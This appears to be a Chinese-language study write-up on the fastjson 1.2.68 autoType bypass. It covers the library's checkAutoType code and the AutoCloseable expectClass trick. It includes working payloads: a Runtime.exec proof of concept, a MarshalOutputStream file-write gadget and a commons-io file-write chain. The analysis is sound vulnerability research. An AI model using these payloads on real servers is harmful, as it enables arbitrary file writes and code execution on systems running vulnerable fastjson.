fastjson1.2.68分析
fastjson 1.2.68 最新版本有限制 autotype bypass - 浅蓝 's blog (b1ue.cn)
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)
基本poc与利用过程
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class test {
public static void main(String[] args)
{
String payload21 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"evil\",\"cmd\":\"calc.exe\"}";
JSON.parse(payload21);
}
}
import java.io.IOException;
public class evil implements AutoCloseable{
public evil(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
大致的漏洞原理与之前相同,这里主要是对一个autoType的绕过,来调试看一下这个版本的防护。
还是先从checkAutoType看起
然后使用hash去做内部黑白名单的匹配
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
之后就是从几种接口去获取对应的class,和之前的几个版本代码基本相同,这里就不列了。
最后,如果没有获取到class,进入以下的流程
boolean jsonType = false;
InputStream is = null;
try {//判断使用注解JSONType的类
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {//判断三个条件是否满足,使用classLoader去获取目标类
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {//如果有注解,则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSource、RowSet,抛出异常防止jndi注入。
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {//如果expectClass期望类不为空,则需要加载的类是期望类的子类或实现,并直接返回,否则异常。
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {//如果类使用JSONCreator注解并且开启autoTypeSupport,抛出异常。
throw new JSONException("autoType is not support. " + typeName);
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
if (clazz != null) {//最后就是判断是否开启autoTypeSupport特性,将clazz添加进缓存,并且return clazz。
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
之前1.2.47使用mapping缓存去绕过AutoType,这次1.2.68则利用expectClass去进行相应的绕过。
期望类的功能主要是实现/继承了期望类的class能被反序列化出来(并且不受autotype影响),寻找checkAutoType方法的调用,要求exceptClass不为空。
只有两个类JavaBeanDeserializer
、ThrowableDeserializer
中调用了checkAutoType并且exceptClass不为空。
其中JavaBeanDeserializer的exceptClass 为AutoCloseable,这样就可以继承AutoCloseable类,来构造恶意class了。
最后,完成CheckAutoType后,还会去查找序列化数据中后续的参数。
比如,通过 $ref 字段借助 JSONPath 去访问 get 方法。
以下是基本流程。
当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,因此有了第二次的checkAutoType。
找出可用的gadget
之前的分析中,找到了两个类,一个是AutoCloseable类,还有一个是Throwable相关的类。
关于 gadget 的挖掘思路主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。
首先看一下这里的类的关系,都是继承OutputStream的类,而该类实现了Closeable的接口,closeable又继承了AutoCloseable,因此可以使用OutputStream实现反序列化
关于blackhat2021披露的fastjson1.2.68链 | CN-SEC 中文网
fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可
AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。
什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l <class_name> | grep LocalVariableTable
fastjson使用
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。
挖掘脚本参考 scz.617.cn:8/web/202008081723.txt,代码FindSomeClass3已保存在本地,需要使用java8环境执行。
在目标环境中执行FindSomeClass3,如果它"没有"输出某个类,那该类就不能用于该目标环境,这是个必要非充分条件。
gadget分析
MarshalOutputStream链分析
只适用于jdk11,不用第三方库,作用为写文件
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit':22
}
},
'bufLen':1048576
},
'protocolVersion':1
}
在第一个sun.rmi.server.MarshalOutputStream解析完后,会对out字段进行解析
以此类推,完成了写文件的操作。
input中的字段名存疑。
commons-io 利用链分析
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)
{ "x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{
"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"//感觉这里少了一个大括号,但是加上去又会报错
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
payload分析
这条链只使用了common-io 2.5版本作为第三方库,同时该库极为常见。
首先 按顺序 org.apache.commons.io.input.ReaderInputStream类,该类作为输入流,从org.apache.commons.io.input.CharSequenceReader类接收输入。
接下来,org.apache.commons.io.output.WriterOutputStream类作为输出流,配合org.apache.commons.io.output.FileWriterWithEncoding指定输出位置进行写文件操作。
最后为关键的类org.apache.commons.io.input.XmlStreamReader与org.apache.commons.io.input.TeeInputStream
我们来看一下XmlStreamReader类的实例化代码和流程
public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
this.defaultEncoding = defaultEncoding;
BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
this.reader = new InputStreamReader(pis, this.encoding);
}
在执行doHttpStream时,会调用getBOM,然后会调用read方法,配合TeeInputStream类触发写入的方法就是这个read方法。
这时我们来看一下TeeInputStream类的构造方法与read方法,发现构造方法参数类型为InputStream与OutputStream
public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) {
super(input);
this.branch = branch;
this.closeBranch = closeBranch;
}
而其read方法其实就是将input写入branch,完成了从输入到输出的过程。
public int read(byte[] bts, int st, int end) throws IOException {
int n = super.read(bts, st, end);
if (n != -1) {
this.branch.write(bts, st, n);
}
return n;
}
这样一来,整个流程就清晰了。
尝试用 fastjson 进行解析执行,发现文件创建了,也确实执行到了 FileWriterWithEncoding.write(char[], int, int) 方法,但是文件内容是空的?
这里涉及到的一个问题就是,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里:
问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?
可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:
也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:
因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。
解决方法:循环引用。通过 $ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。
总结
到此为止,网上常用的payload基本都分析了一下,对于fastjson1.2.68来说,2021blackhat上给出了不少利用方法,还可以研究一下,感觉学习fastjson1.2.68最大的收获就是如何去挖掘gadget,一方面看到了沈沉舟师傅的脚本框架,另一方面学习了很多师傅挖掘的思路。